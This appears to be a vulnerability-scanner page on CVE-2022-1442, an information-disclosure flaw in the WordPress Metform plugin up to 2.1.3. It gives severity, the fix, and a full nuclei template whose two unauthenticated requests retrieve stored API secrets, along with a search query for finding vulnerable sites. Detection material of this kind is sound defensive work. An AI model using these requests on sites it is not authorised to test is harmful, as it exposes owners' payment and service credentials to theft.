WordPress Metform <=2.1.3 - Information Disclosure

highseverity

7.5CVSS score

8.8%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

WordPress Metform plugin through 2.1.3 is susceptible to information disclosure due to improper access control in the ~/core/forms/action.php file. An attacker can view all API keys and secrets of integrated third-party APIs such as that of PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA and many more.

Impact

An attacker can exploit this vulnerability to gain sensitive information from the target system.

Fix

Upgrade to the latest version of the Metform plugin (>=2.1.4) to fix the information disclosure vulnerability.

How to confirm it

Send: GET /wp-json/metform/v1/forms/templates/0 ; GET /wp-json/metform/v1/forms/get/{{id}}
Positive when: contains in body_2 "mf_recaptcha_secret_key" and "admin_email_from" AND contains in header_2 "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2022-1442 -u <target>

The full check

id: CVE-2022-1442

info:
  name: WordPress Metform <=2.1.3 - Information Disclosure
  author: theamanrawat
  severity: high
  description: |
    WordPress Metform plugin through 2.1.3 is susceptible to information disclosure due to improper access control in the ~/core/forms/action.php file. An attacker can view all API keys and secrets of integrated third-party APIs such as that of PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA and many more.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Upgrade to the latest version of the Metform plugin (>=2.1.4) to fix the information disclosure vulnerability.
  reference:
    - https://gist.github.com/Xib3rR4dAr/6e6c6e5fa1f8818058c7f03de1eda6bf
    - https://wpscan.com/vulnerability/9f3fcdd4-9ddc-45d5-a4af-e58634813c2b
    - https://wordpress.org/plugins/metform/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1442
    - https://plugins.trac.wordpress.org/changeset/2711944/metform/trunk/core/forms/action.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1442
    cwe-id: CWE-862
    epss-score: 0.08772
    epss-percentile: 0.95212
    cpe: cpe:2.3:a:wpmet:metform_elementor_contact_form_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wpmet
    product: metform_elementor_contact_form_builder
    framework: wordpress
    google-query: inurl:/wp-content/plugins/metform
  tags: cve,cve2022,wpscan,wordpress,wp-plugin,disclosure,unauth,metform,wp,wpmet,vuln

http:
  - raw:
      - |
        GET /wp-json/metform/v1/forms/templates/0 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-json/metform/v1/forms/get/{{id}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "mf_recaptcha_secret_key"
          - "admin_email_from"
        condition: and

      - type: word
        part: header_2
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: id
        group: 1
        regex:
          - '<option value=\"([0-9]+)\"'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from